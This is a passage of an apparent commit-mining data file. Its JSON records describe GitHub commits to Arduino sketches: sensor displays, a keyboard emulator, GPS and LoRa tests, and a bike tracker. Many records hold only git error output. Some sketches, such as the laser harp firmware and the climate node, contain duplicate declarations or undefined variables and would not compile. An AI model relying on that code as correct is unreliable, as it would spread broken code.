code.\n","repos":"jcuroboclub\/Project-Mario,jcuroboclub\/Project-Mario","old_file":"Comms Arduino\/Packeted_433_Coms.ino","new_file":"Comms Arduino\/Packeted_433_Coms.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Comms' did not match any file(s) known to git\nerror: pathspec 'Arduino\/Packeted_433_Coms.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"78a8299f1dc210d40e4744cb5239d5a92f9034eb","subject":"anavi-thermometer.ino: Simple demo","message":"anavi-thermometer.ino: Simple demo\n\nSimple demo application for displaying temperature and humidity\non OLED display without WiFi connectivity.\n\nSigned-off-by: Leon Anavi <be92910ae7bb6f58bb9b7c6f845bc30640119592@anavi.org>\n","repos":"AnaviTech\/anavi-examples,AnaviTech\/anavi-examples","old_file":"anavi-thermometer\/anavi-thermometer\/anavi-thermometer.ino","new_file":"anavi-thermometer\/anavi-thermometer\/anavi-thermometer.ino","new_contents":"#include <FS.h> \/\/this needs to be first, or it all crashes and burns...\n#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n\/\/ For DHT22 temperature and humidity sensor\n#include <DHT.h>\n\/\/ For OLED display\n#include <U8g2lib.h>\n#include <Wire.h>\n\/\/ For DS18B20 (waterproof) temperature sensor\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\nU8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ U8X8_PIN_NONE);\n\n#define DHTPIN 2\n#define DHTTYPE DHT22\nDHT dht(DHTPIN, DHTTYPE);\n\n#define ONE_WIRE_BUS 12\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\n\n\/\/ Configure pins\nconst int pinAlarm = 16;\nconst int pinButton = 0;\n\nunsigned long sensorPreviousMillis = 0;\nconst long sensorInterval = 3000;\n\n\/\/ Set temperature coefficient for calibration depending on an empirical research with\n\/\/ comparison to DS18B20 and other temperature sensors. You may need to adjust it for the\n\/\/ specfic DHT22 unit on your board\nconst float temperatureCoef = 0.9;\n\nfloat dhtTemperature = 0;\nfloat dhtHumidity = 0;\nfloat dsTemperature = 0;\n\nvoid drawDisplay(const char *line1, const char *line2 = \"\", const char *line3 = \"\")\n{\n \/\/ Write on OLED display\n \/\/ Clear the internal memory\n u8g2.clearBuffer();\n \/\/ Set appropriate font\n u8g2.setFont(u8g2_font_ncenR14_tr);\n u8g2.drawStr(0,14, line1);\n u8g2.drawStr(0,39, line2);\n u8g2.drawStr(0,64, line3);\n \/\/ Transfer internal memory to the display\n u8g2.sendBuffer();\n}\n\nvoid setup()\n{\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n Serial.println();\n u8g2.begin();\n dht.begin();\n sensors.begin();\n\n delay(10);\n\n \/\/LED\n pinMode(pinAlarm, OUTPUT);\n \/\/Button\n pinMode(pinButton, INPUT);\n\n drawDisplay(\"ANAVI Thermometer\");\n}\n\nvoid loop()\n{\n const unsigned long currentMillis = millis();\n if (sensorInterval <= (currentMillis - sensorPreviousMillis))\n {\n sensorPreviousMillis = currentMillis;\n\n float temp = dht.readTemperature();\n \/\/ Adjust temperature depending on the calibration coefficient\n temp = temp*temperatureCoef;\n float humidity = dht.readHumidity();\n\n if (!isnan(humidity) && !isnan(temp))\n {\n dhtTemperature = temp;\n dhtHumidity = humidity;\n }\n String air=\"Air \"+String(dhtTemperature, 1)+\"C \";\n Serial.println(air);\n String hum=\"Humidity \"+String(dhtHumidity, 0)+\"%\";\n Serial.println(hum);\n\n String water=\"\";\n if (0 < sensors.getDeviceCount())\n {\n sensors.requestTemperatures();\n float wtemp = sensors.getTempCByIndex(0);\n dsTemperature = wtemp;\n water=\"Water \"+String(dsTemperature,1)+\"C\";\n Serial.println(water);\n }\n drawDisplay(air.c_str(), hum.c_str(), water.c_str());\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'anavi-thermometer\/anavi-thermometer\/anavi-thermometer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c7e566e1e99a0e7756e2d7a8e05286c9bd25f944","subject":"Updated configuration to new board design","message":"Updated configuration to new board design\n","repos":"anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical","old_file":"arduino\/Test sketches\/HandshakeTester\/HandshakeTester.ino","new_file":"arduino\/Test sketches\/HandshakeTester\/HandshakeTester.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Test' did not match any file(s) known to git\nerror: pathspec 'sketches\/HandshakeTester\/HandshakeTester.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"459376a22f9e66dbe308825b72127c61b87fbc98","subject":"Implemented another processing algorithm with reducing coefficient","message":"Implemented another processing algorithm with reducing coefficient\n","repos":"bitbitbitbitbitbitbitbit\/LineFollowing,bitbitbitbitbitbitbitbit\/LineFollowing","old_file":"PC104\/receive_from_matlab\/receive_from_matlab.ino","new_file":"PC104\/receive_from_matlab\/receive_from_matlab.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitbitbitbitbitbitbitbit\/LineFollowing.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cf707673e8be507695ab2294def3f385f02bf087","subject":"Added Uncalibrated Humidity","message":"Added Uncalibrated Humidity\n\nUsing RCtime examples added an uncalibrated and unscaled humidity\nmeasurement that works with the HCH-1000 humidity sensor.\n","repos":"ender11122\/Arduino-Climate-Node","old_file":"Arduino_Climate_Node\/Arduino_Climate_Node.ino","new_file":"Arduino_Climate_Node\/Arduino_Climate_Node.ino","new_contents":"\/\/ Arduino Climate Monitor Node\n\/\/ 30Aug2014\n\/\/ Adam Green (ndsoccer11122@yahoo.com)\n\n\/\/ HCH-1000 Humidity Sensor\n\/\/ 10Mohm R1\n\/\/ 220ohm R2\n\nint HumSensorPin = 4;\n\nlong HumResult = 0;\nunsigned long HumTime1=0;\nunsigned long HumTime2=0;\n\nlong HumReadingsPer=30.0;\nlong HumReadDelay=200.0;\n\nvoid setup() \/\/ run once, when the sketch starts\n{\n\n Serial.begin(9600);\n Serial.println(\"start\"); \/\/ a personal quirk \n}\nvoid loop() \/\/ run over and over again\n{\n long H=evalHumid(HumReadingsPer, HumSensorPin);\n Serial.println(\"_____\");\n Serial.println(H);\n Serial.println(\"_____\");\n delay(100);\n\n}\n\nlong evalHumid(long samples, int sPin){\n long avgtime=0; \n for (int i=0;i<samples;i++){\n RCtime(sPin);\n avgtime+= decayTime(3);\n }\n avgtime=avgtime\/samples; \n return(avgtime);\n\n}\n\nlong RCtime(int sensPin){\n long result = 0;\n pinMode(sensPin, OUTPUT); \/\/ make pin OUTPUT\n digitalWrite(sensPin, HIGH); \/\/ make pin HIGH to discharge capacitor - study the schematic\n delay(1); \/\/ wait a ms to make sure cap is discharged\n\n pinMode(sensPin, INPUT); \/\/ turn pin into an input and time till pin goes low\n digitalWrite(sensPin, LOW);\/\/ turn pullups off - or it won't work\n decayTime(1); \n while(digitalRead(sensPin)){ \/\/ wait for pin to go low\n \/\/result++;\n }\n decayTime(2);\n delay(readDelay); \n \/\/return result; \/\/ report results \n}\n\nlong decayTime(int input){\n if (input==1){\n time1=micros();\n }\n if (input==2 ){\n time2=micros(); \n }\n if (input==3){\n return (time2-time1);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_Climate_Node\/Arduino_Climate_Node.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"866483e76f0bcb08c508cb2790cfabef02920a0e","subject":"Add storm simulation","message":"Add storm simulation\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"New World Order\/_ard\/_simulations\/storm_2.ino","new_file":"New World Order\/_ard\/_simulations\/storm_2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a6cee6dd75f61814efa0b3005988bfd5d34267b5","subject":"FNV1a example with implementation in the FNV library","message":"FNV1a example with implementation in the FNV library\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/FNV_v1\/FNV_v1.ino","new_file":"src\/FNV_v1\/FNV_v1.ino","new_contents":"#include \"fnv.h\"\n\nint id = 0;\nint dlc = 0;\nunsigned char data[8] = {0};\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n GenerateMessage(id, dlc, &data[0]);\n uint32_t myHash = FNV::fnv1a(&data[0]);\n Serial.println(myHash, HEX);\n Serial.println(\"----------------------\");\n delay(1000);\n}\n\nvoid GenerateMessage(int &id, int &dlc, unsigned char *data)\n{\n id = random(0x800); \/\/ id = random int between 0..0x7FF\n dlc = random(9); \/\/ dlc = random int between 0..8\n for(int i = 0; i < dlc; i++)\n {\n data[i] = random(0x100); \/\/ each byte is random char between 0..0xFF\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/FNV_v1\/FNV_v1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"48dbf58e75047aa59b1256200694cf056fee1b36","subject":"Delete ESPArto_timer_functions.ino","message":"Delete ESPArto_timer_functions.ino","repos":"philbowles\/esparto,philbowles\/esparto,philbowles\/esparto,philbowles\/esparto","old_file":"examples\/Esparto_SONOFF\/ESPArto_timer_functions\/ESPArto_timer_functions.ino","new_file":"examples\/Esparto_SONOFF\/ESPArto_timer_functions\/ESPArto_timer_functions.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/philbowles\/esparto.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8a61b64e0091159e3337bfeac1a3078fa03e09b7","subject":"added blinking diode on port 12","message":"added blinking diode on port 12\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"caa01e5c40cb5e47756095f47f64b0e713cea79b","subject":"Prox Sensor Init","message":"Prox Sensor Init\n\nWorking version\n","repos":"Blade2021\/roots,Blade2021\/roots,Blade2021\/roots","old_file":"ProximitySensor\/ProximitySensor.ino","new_file":"ProximitySensor\/ProximitySensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Blade2021\/roots.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"5afaeaff00b4f9b8c1155489189d007f89a27f34","subject":"Added arduino code","message":"Added arduino code\n","repos":"aaronjeline\/KerbalLauncher","old_file":"launcher\/launcher.ino","new_file":"launcher\/launcher.ino","new_contents":"\/* Arduino as USB Keyboard test\n * A simple helloworld\n * Aaron Eline\n * Based on: http:\/\/mitchtech.net\/arduino-usb-hid-keyboard\/\n *\/\n\nuint8_t buf[8] = { \n 0 }; \t\/* Keyboard report buffer *\/\nboolean done;\nconst int launchButton = 12;\nconst int keySwitch = 13;\nboolean active;\nconst int keyLED = 11;\nconst int rcsSwitch = 10;\nint rcsBit;\nconst int sasSwitch = 9;\nint sasBit;\n\nvoid setup() \n{\n \n Serial.begin(9600);\n done = false;\n delay(200);\n pinMode(launchButton, INPUT);\n pinMode(keySwitch, INPUT);\n pinMode(keyLED, OUTPUT);\n pinMode(rcsSwitch, INPUT);\n pinMode(sasSwitch, INPUT);\n rcsBit = 1;\n sasBit = 1;\n \n\n \n}\n\n\nvoid loop() \n{\n int launchState;\n launchState = digitalRead(launchButton);\n int keyState;\n keyState = digitalRead(keySwitch);\n int rcsState;\n rcsState = digitalRead(rcsSwitch);\n int sasState;\n sasState = digitalRead(sasSwitch);\n \n \n if(keyState == LOW){ \n active = true;\n digitalWrite(keyLED, HIGH);\n }else{\n active = false;\n digitalWrite(keyLED, LOW);\n }\n if(active){\n if(digitalRead(12) == HIGH \/*&& !done*\/){\n \n sendKey(44); \/\/Spacebar\n \/\/done = true;\n }\n \n if(rcsState == LOW && rcsBit == 1){\n sendKey(21); \/\/r\n rcsBit = 0;\n }else if (rcsState == HIGH && rcsBit == 0){\n sendKey(21); \/\/r\n rcsBit = 1;\n }\n \n if(sasState == LOW && sasBit == 1){\n sendKey(23); \/\/t\n sasBit = 0;\n }else if (sasState == HIGH && sasBit == 0){\n sendKey(23); \/\/t\n sasBit = 1;\n }\n \n \n \n \n \n if(done && launchState == HIGH){\n done=false;\n }\n }\n \n}\n\n\n\nvoid releaseKey() \n{\n buf[0] = 0;\n buf[2] = 0;\n Serial.write(buf, 8);\t\/\/ Release key \n}\n\nvoid sendKey(int keyNum){\n buf[2] = keyNum;\n Serial.write(buf, 8);\n releaseKey();\n}\n\n\/\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'launcher\/launcher.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f7c80504eb437818bb43695176d1061d7759ba1f","subject":"Fix include issue","message":"Fix include issue\n","repos":"iotl\/IoT-Shield-Firmware","old_file":"examples\/02.IO\/SimpleIO\/SimpleIO.ino","new_file":"examples\/02.IO\/SimpleIO\/SimpleIO.ino","new_contents":"#include <ParkingShield.h>\n\nParkingShield shield;\n\nvoid setup()\n{ }\n\nvoid loop()\n{\n bool buttonPressed = shield.buttonS1Pressed();\n shield.setLed(ParkingShield::RED_LED, buttonPressed);\n}\n","old_contents":"#include <ParkingShield.h>\n\nParkingShield shield;\n\nvoid setup()\n{ }\n\nvoid loop()\n{\n bool buttonPressed = shield.buttonS1Pressed();\n shield.setLed(RED_LED, buttonPressed);\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"77dbb208b97c62639ffe7961a506447d670c4ee5","subject":"update example description","message":"update example description\n","repos":"arduino-org\/CiaoMCU","old_file":"examples\/CiaoRestServer\/CiaoRestServer.ino","new_file":"examples\/CiaoRestServer\/CiaoRestServer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/arduino-org\/CiaoMCU.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a39b3175bb636e02969ad571d57e70991fb5ecc2","subject":"Create Harp_firmware.ino","message":"Create Harp_firmware.ino","repos":"gdgzdar\/Laser-harp,gdgzdar\/Laser-harp","old_file":"Harp_firmware.ino","new_file":"Harp_firmware.ino","new_contents":"\/\/Prvn\u00ed okt\u00e1va\nint laser1 = 26;\nint laser2 = 27;\nint laser3 = 28;\nint laser4 = 29;\nint laser5 = 30;\nint laser6 = 31;\nint laser7 = 32;\nint laser8 = 33;\nint oktava1[8] = {laser1, laser2, laser3, laser4, laser5, laser6, laser7, laser8};\n\n\/\/Druh\u00e1 okt\u00e1va\nint laser9 = 34;\nint laser10 = 35;\nint laser11 = 36;\nint laser12 = 37;\nint laser13 = 38;\nint laser14 = 39;\nint laser15 = 40;\nint laser16 = 41;\nint oktava2[8] = (laser9, laser10, laser11, laser12, laser13, laser14, laser15, laser16);\n\n\/\/druh\u00e1 okt\u00e1va\nint laser9 = 34;\nint laser10 = 35;\nint laser11 = 36;\nint laser12 = 37;\nint laser13 = 38;\nint laser14 = 39;\nint laser15 = 40;\nint laser16 = 41;\nint oktava2[8] = {laser9, laser10, laser11, laser12, laser13, laser14, laser15, laser16};\n\n\/\/T\u0159et\u00ed okt\u00e1va\nint laser17 = 42;\nint laser18 = 43;\nint laser19 = 44;\nint laser20 = 45;\nint laser21 = 46;\nint laser22 = 47;\nint laser23 = 48;\nint laser24 = 49;\nint oktava3[8] = {laser17, laser18, laser19, laser20, laser21, laser22, laser23, laser24};\n\n\nvoid setup() { \n Serial.begin(9600);\n pinMode(laser1, OUTPUT);\n pinMode(laser2, OUTPUT);\n pinMode(laser3, OUTPUT);\n pinMode(laser4, OUTPUT);\n pinMode(laser5, OUTPUT);\n pinMode(laser6, OUTPUT);\n pinMode(laser7, OUTPUT);\n pinMode(laser8, OUTPUT);\n \n pinMode(laser9, OUTPUT); \n pinMode(laser10, OUTPUT);\n pinMode(laser11, OUTPUT);\n pinMode(laser12, OUTPUT);\n pinMode(laser13, OUTPUT);\n pinMode(laser14, OUTPUT);\n pinMode(laser15, OUTPUT);\n pinMode(laser1, OUTPUT);\n \n pinMode(laser17, OUTPUT);\n pinMode(laser18, OUTPUT);\n pinMode(laser19, OUTPUT);\n pinMode(laser20, OUTPUT);\n pinMode(laser21, OUTPUT);\n pinMode(laser22, OUTPUT);\n pinMode(laser23, OUTPUT); \n\n \n}\n\nvoid loop() {\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Harp_firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c8852657a18fa39296b35389e4490e18d1d72621","subject":"version which send sms with gps position","message":"version which send sms with gps position","repos":"marcelky\/GPS-proj,marcelky\/GPS-proj","old_file":"SIM808_GetGPS_test.ino","new_file":"SIM808_GetGPS_test.ino","new_contents":"\/*\n### Get GPS data\n1. This example is used to test SIM808 GPS\/GPRS\/GSM Shield's reading GPS data.\n2. Open the SIM808_GetGPS example or copy these code to your project\n3. Download and dial the function switch to Arduino\n4. open serial helper\n4. Place it outside, waiting for a few minutes and then it will send GPS data to serial\n\ncreate on 2016\/09\/23, version: 1.0\nby jason\n\n*\/\n#include <DFRobot_sim808.h>\n#include <sim808.h>\n#include <SoftwareSerial.h>\n#include <SimpleTimer.h>\n\n\/\/#define PIN_TX 10\n\/\/#define PIN_RX 11\n\/\/SoftwareSerial mySerial(PIN_TX,PIN_RX);\n\/\/DFRobot_SIM808 sim808(&mySerial);\/\/Connect RX,TX,PWR,\n\n#define rxPin 2\n#define txPin 3\nSoftwareSerial GPRS(rxPin, txPin); \/\/ RX, TX\nDFRobot_SIM808 sim808(&GPRS);\n\nint Powerkey=6; \/\/Power pin for SIM808\nSimpleTimer timer;\n\nvoid setup() {\n GPRS.begin(9600);\n Serial.begin(9600);\n\n GPRS.println(\"AT+CPOWD=1\"); \n delay(5000);\n pinMode(Powerkey, OUTPUT); \/\/ initialize the digital pin as an output. \n power(); \/\/ power on the sim808 or power down the sim808 \n\n Serial.println(\"reseting\");\n delay(10000);\n\n \/\/GNSS power control\n GPRS.println(\"AT+CGNSPWR=1\");\n delay(290);\n \/\/GNSS navitation, GEO-Fence and speed alarm URC report control\n GPRS.println(\"AT+CGNSURC=0\");\n delay(300);\n\n\n\n\n \/\/******** Initialize sim808 module *************\n while(!sim808.init()) { \n delay(1000);\n Serial.print(\"Sim808 init error\\r\\n\");\n }\n\n \/\/sim808_init(&GPRS,9600);\n\n if( sim808.attachGPS())\n Serial.println(\"Open the GPS power success\");\n else \n Serial.println(\"Open the GPS power failure\");\n\n\n delay(5000);\n if(!sim808_check_with_cmd(\"AT+CGPSINF=2\\r\\n\",\"OK\\r\\n\",CMD)){ \n Serial.println(\"AT+CGPSINF => FAIL\"); \n }else Serial.println(\"AT+CGPSINF => OK\");\n \/\/************* Turn on the GPS power************\n \n\n\n GPRS.println(\"AT+CGPSRST=1\"); \/\/1 = HOT start of GPS or COLD start = 0\n \/\/SerialSim808_Read();\n delay(50);\n \n timer.setInterval(60000, GetGPSLocation);\n}\n\nvoid loop() {\n timer.run();\n \/*if(GPRS.available())\n Serial.write(GPRS.read());\n if(Serial.available())\n GPRS.write(Serial.read());\n *\/ \n}\n\n\/****************************************************************************************\n * power()\n * Function power on or power of SIM808.\n ****************************************************************************************\/\nvoid power(void)\n{\n digitalWrite(Powerkey, LOW); \n delay(1000); \/\/ wait for 1 second\n digitalWrite(Powerkey, HIGH);\n}\n\nvoid GetGPSLocation(){\n \/\/************** Get GPS data *******************\n if( sim808.attachGPS())\n Serial.println(\"Open the GPS power success\");\n else \n Serial.println(\"Open the GPS power failure\");\n \n delay(20000);\n \n sim808_flush_serial(); \n \/\/GPRS.println(\"AT+CGPSINF=2\");\n if(!sim808_check_with_cmd(\"AT+CGPSINF=2\\r\\n\",\"OK\\r\\n\",CMD)){ \n Serial.println(\"AT+CGPSINF => FAIL\"); \n }else Serial.println(\"AT+CGPSINF => OK\");\n \n if (sim808.getGPS()) {\n Serial.print(sim808.GPSdata.year);\n Serial.print(\"\/\");\n Serial.print(sim808.GPSdata.month);\n Serial.print(\"\/\");\n Serial.print(sim808.GPSdata.day);\n Serial.print(\" \");\n Serial.print(sim808.GPSdata.hour);\n Serial.print(\":\");\n Serial.print(sim808.GPSdata.minute);\n Serial.print(\":\");\n Serial.print(sim808.GPSdata.second);\n Serial.print(\":\");\n Serial.println(sim808.GPSdata.centisecond);\n Serial.print(\"latitude :\");\n Serial.println(sim808.GPSdata.lat);\n Serial.print(\"longitude :\");\n Serial.println(sim808.GPSdata.lon);\n Serial.print(\"speed_kph :\");\n Serial.println(sim808.GPSdata.speed_kph);\n Serial.print(\"heading :\");\n Serial.println(sim808.GPSdata.heading);\n Serial.println();\n\n \/\/************* Turn off the GPS power ************\n \n } \n else Serial.print(\".\");\n sim808.detachGPS();\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SIM808_GetGPS_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"55a951c6113646150ae37a737549bb3086cb19d5","subject":"Initial code commit","message":"Initial code commit\n","repos":"team-rocket-vuw\/metis-2-onboard","old_file":"src\/teensy_sketch.ino","new_file":"src\/teensy_sketch.ino","new_contents":"\/*\n Metis-2 launch onboard sketch\n This sketch contains logic to read sensor values via I2C and SPI and dump data to an SD card\n for further analysis on landing. It also communicates basic data over the 433MHz radio band,\n as well as 2.4GHz WiFi\n This sketch is written for use on a Teensy 3.1\/3.2\n The circuit:\n * Components supplying input:\n - 9-Axis motion sensor MPU9250 Shield\n * Connected to the SMT pads on the underside of the Teensy\n - L3G4200D Gyro breakout\n * SCL - pin 14\n * SDA - pin 7\n * SDO - pin 8\n * CS - as defined in gyroChipSelect field\n * INT1 - pin 2\n * INT2 - pin 3\n * Other pins connected to independent power supplies\n * Components Outputted to:\n - ESP8266-01 WiFi Module\n * TXD - pin 9\n * RXD - pin 10\n - BOB-00544 microSD card SPI breakout\n * MOSI - pin 11\n * MISO - pin 12\n * CLK - pin 13\n * CS - as defined in sdChipSelect field\n - RFM22B-S2 434MHz radio tranciever\n * SDI - pin 11\n * SDO - pin 12\n * CLK - pin 13\n * CS - as defined in radioChipSelect field\n - Piezo buzzer\n * +ve - pin 16\n \n Created 28 August 2016\n By Jamie Sanson\n \n Modified 28 August 2016\n By Jamie Sanson\n \n*\/\n\n\/\/ region includes\n#include <i2c_t3.h>\n#include <SD.h>\n#include <SPI.h>\n\/\/ end region\n\n\/\/ region macro definitions\n#define espSerial Serial2\n\/\/ end region\n\n\/\/ region pin definitions\nint8_t gyroChipSelect = 4;\nint8_t radioChipSelect = 5;\nint8_t radioIntPin = 15;\nint8_t sdChipSelect = 6;\n\/\/ end region\n\n\/\/ region flags\nboolean serialDebugMode = true;\n\/\/ end region\n\nvoid setup() {\n if (serialDebugMode) {\n \/\/ block until serial sent to micro\n Serial.begin(115200);\n \n while(!Serial.available()){}\n } \n\n \/\/ TODO: Sensor setup, SD setup, ESP handshaking and blocking to wait on commands\n}\n\nvoid loop() {\n \/\/ TODO: Read sensors, detect apogee, send radio, activate buzzer\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/teensy_sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bc0651aad9fef51767edd897187d25f48c9d4bcd","subject":"add Gemtek Lora verify sample","message":"add Gemtek Lora verify sample\n","repos":"LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS","old_file":"Device_Ameba\/Example\/GemtekLoRa\/GemtekLoRa.ino","new_file":"Device_Ameba\/Example\/GemtekLoRa\/GemtekLoRa.ino","new_contents":"#include <SoftwareSerial.h>\n#define BUFF_LENGTH 30\n\nSoftwareSerial lora(0, 1); \/\/ RX, TX\n\nchar readBuffer[BUFF_LENGTH];\nchar input;\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(38400); \n lora.begin(9600); \/\/ lora\n}\n\nvoid loop() {\n int wordCount = 0;\n \/\/ put your main code here, to run repeatedly:\n Serial.println(\"Ready for some LoRa?\");\n lora.println(\"AT\");\n for(wordCount = 0;lora.available() > 0;wordCount++){\n input = lora.read();\n readBuffer[wordCount] = input;\n } \n if(readBuffer[0] == 'O' && readBuffer[1] == 'K'){\n Serial.println(\"Yes, let's push some data!\");\n }\n else{\n Serial.println(\"No, LoRa is not ready.\"); \n }\n memset(readBuffer, 0, sizeof(readBuffer));\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Device_Ameba\/Example\/GemtekLoRa\/GemtekLoRa.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"919b31bc5f10276c9780d9bd8364b85626f291d8","subject":"Initial commit","message":"Initial commit\n","repos":"reefab\/CyclingPusher,reefab\/CyclingPusher,reefab\/CyclingPusher","old_file":"Bike\/Bike.ino","new_file":"Bike\/Bike.ino","new_contents":"\n\/*\n * Bike\n * \n * https:\/\/github.com\/reefab\/CyclingPusher\n *\n * CyclingPusher is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * CyclingPusher is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n * You should have received a copy of the GNU General Public License\n * along with CyclingPusher. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Created on: 25.02.2012\n * Author: reefab\n *\/\n\n#include <LiquidCrystal.h>\n#include <SPI.h> \n#include <Ethernet.h>\n#include <EthernetUdp.h>\n#include <Time.h>\n#include <HTTPClient.h>\n\/\/ MAC address\nstatic uint8_t mac[6] = { \n 0x90, 0xA2, 0xDA, 0x05, 0x00, 0x43 };\n\/\/ For NTP init\nunsigned int localPort = 8888; \/\/ local port to listen for UDP packets\nIPAddress timeServer(192, 43, 244, 18); \/\/ time.nist.gov NTP server\nconst int NTP_PACKET_SIZE= 48; \/\/ NTP time stamp is in the first 48 bytes of the message\nbyte packetBuffer[ NTP_PACKET_SIZE]; \/\/buffer to hold incoming and outgoing packets \n\n\/\/ A UDP instance to let us send and receive packets over UDP\nEthernetUDP Udp;\nEthernetClient client;\n\n\/\/ initialize the library with the numbers of the interface pins\nLiquidCrystal lcd(7, 6, 5, 4, 9, 8);\n\/\/ This needs to be pin 2 to use interrupt 0\nint reedPin = 2;\nint buttonPin = 3;\nunsigned int rotationCount = 0;\nunsigned int updateCount = 0;\n\/\/ Distance per 'wheel' turn\nfloat meterPerTurn = 6.66;\n\/\/ Number of 'wheel' turns needed to recalculate speed\/total distance \nint interval = 5;\n\/\/ Minimal number of millisecond between reed switch changes to prevent bounce\nint reedRes = 50;\n\/\/ Timeout in seconds, if the reed switch is not activated during this time, pause everything \nint timeOut = 15;\n\/\/ Distance in meters\nunsigned int totalDistance = 0;\nfloat currentSpeed = 0;\nboolean screen = true;\nboolean done = false;\nunsigned long lastReedPress = millis();\nunsigned long lastButtonPress = millis();\nunsigned long lastUpdate = millis();\nunsigned long currentTime = millis();\nunsigned long startTime = millis();\nunsigned long totalTime = 0;\nunsigned long time_elasped = 0;\nunsigned long timestamp = 0;\nunsigned long effectiveTime = 0;\n\/\/unsigned long lastTimeUpdate = 0;\n\/\/ For display during init and sending to HealthGraph\nString startTimeStr;\nbyte serverIp[] = {\n 74,50,63,142};\nchar apiServer[] = \"api.runkeeper.com\";\nchar apiUri[] = \"\/fitnessActivities\";\nchar accessToken[] = \"Bearer XXX\";\nString json_start = \"{\\\"type\\\": \\\"Cycling\\\",\\\"start_time\\\": \\\"\";\nString json_middle_1 = 